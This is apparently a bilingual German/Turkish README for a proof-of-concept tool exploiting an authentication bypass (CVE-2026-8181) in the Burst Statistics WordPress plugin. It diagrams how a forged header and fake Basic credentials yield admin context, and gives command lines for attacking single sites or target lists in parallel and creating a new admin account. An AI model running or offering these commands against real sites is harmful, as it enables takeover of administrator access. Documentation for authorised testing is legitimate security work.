CVE-2026-8181

DE: Kontrollierter PoC und kurze technische Hinweise für authorisierte Sicherheitstests des Authentifizierungsbypasses in Burst Statistics.

TR: Burst Statistics eklentisindeki kimlik doğrulama atlatası için yetkili güvenlik testi amaçlı kontrollü PoC ve kısa teknik özet.

Projektübersicht / Proje özeti

Deutsch

Hinweis: Die 200.000+ aktive Installationen auf WordPress.org beziehen sich auf die gesamte Nutzerbasis des Plugins – das bedeutet nicht, dass jede Seite eine verwundbare Version ausführt. Die tatsächliche Auswirkung erfordert die Überprüfung von Version + Umgebung (HTTP-/Anwendungspasswort-Verfügbarkeit usw.).

Türkçe

Not: WordPress.org’daki 200.000+ aktif kurulum sayısı eklentinin tüm kullanıcı tabanıdır; sitelerin tamamının zafiyetli sürümde olduğu anlamına gelmez. Gerçek etki için sürüm + ortam (HTTP, uygulama parolası uygunluğu vb.) doğrulanmalıdır.

Visuelles / Dokümantasyon görselleri

Deutsch

GitHub-Flavored Markdown bettet keine binären GIFs ein, ohne dass eine Datei im Repository vorhanden ist. Die obigen Typing SVG-Schnipsel (CDN) simulieren Bewegung. Um einen eigenen Screen-Capture hinzuzufügen:

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Türkçe

GitHub Markdown, repoda dosya olmadan GIF gömmeyi desteklemez. Üstteki Typing SVG (CDN) yazı animasyonu verir. Kendi demosun için:

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Angriffskette (Mermaid) / Saldırı zinciri

Deutsch — Diagrammbeschriftungen

flowchart LR
  A[Client-Anfrage] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Falsch behandelter Zweig| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: vollständiger Admin-Kontext]

Türkçe — aynı akış

flowchart LR
  A[İstek] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Yanlış dal| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: tam admin bağlamı]

Werkzeugfunktionen / Araç yetenekleri

Deutsch

Mit -f sind -o und --output-dir gegenseitig ausschließend.

Türkçe

-f modunda -o ile --output-dir aynı anda kullanılamaz.

Installation / Kurulum

pip3 install requests urllib3

Nutzungsbeispiele / Kullanım örnekleri

Deutsch

# Einzelne Seite, Berichtsdatei
python3 CVE-2026-8181.py -u http://lab.local -U admin -o bericht.txt -k

# Einzelne Seite + neuer Admin (Labor)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o bericht.txt -k

# Mehrere + kombinierte Datei (nur Erfolge)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o erfolge.txt -k

# Mehrere + Pro-Host-Dateien im Ordner (nur Erfolge)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./ergebnisse -k

Türkçe

# Tek site, rapor
python3 CVE-2026-8181.py -u http://lab.local -U admin -o sonuc.txt -k

# Tek site + yeni yönetici (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o sonuc.txt -k

# Çoklu + birleşik dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o basarili.txt -k

# Çoklu + klasörde site başına dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Leeres Password:-Feld / Boş parola satırı

Deutsch

Ein erfolgreicher Bypass gibt das echte Passwort des Opfer-Benutzers nicht preis – das Basic-Passwort im PoC ist gefälscht. Die Zeile Password: bleibt leer, es sei denn, --create-user hat ein neues Konto erstellt (dann wird das generierte Passwort eingetragen).

Türkçe

Başarılı bypass mevcut kullanıcının gerçek parolasını sızdırmaz — PoC’taki Basic parola sahtedir. Password: satırı --create-user ile yeni hesap oluşturulmadıkça boş kalır; oluşturulduysa üretilen şifre yazılır.

Referenzen / Kaynaklar

Deutsch

• Burst Statistics — WordPress Plugin-Verzeichnis
• Häufig in koordinierter Offenlegung zitiert: Wordfence Threat Intelligence, PRISM
• CVE: MITRE CVE-2026-8181 · NVD

Türkçe

• Burst Statistics — WordPress eklenti dizini
• Koordineli açıklamada sık geçen: Wordfence Threat Intelligence, PRISM
• CVE: MITRE CVE-2026-8181 · NVD

Haftungsausschluss / Feragatname

Deutsch

Nur für schriftlich autorisierte Bewertungen und Ihr eigenes Labor. Unbefugte Nutzung ist in vielen Rechtsordnungen illegal. Autoren und der Betreuer dieser README übernehmen keine Haftung für Missbrauch.

Türkçe

Yazılı izinli değerlendirmeler ve kendi laboratuvarınız içindir. İzinsiz kullanım birçok ülkede yasadışıdır. Yazarlar ve bu README’nin düzenleyicisi kötüye kullanımdan sorumlu değildir.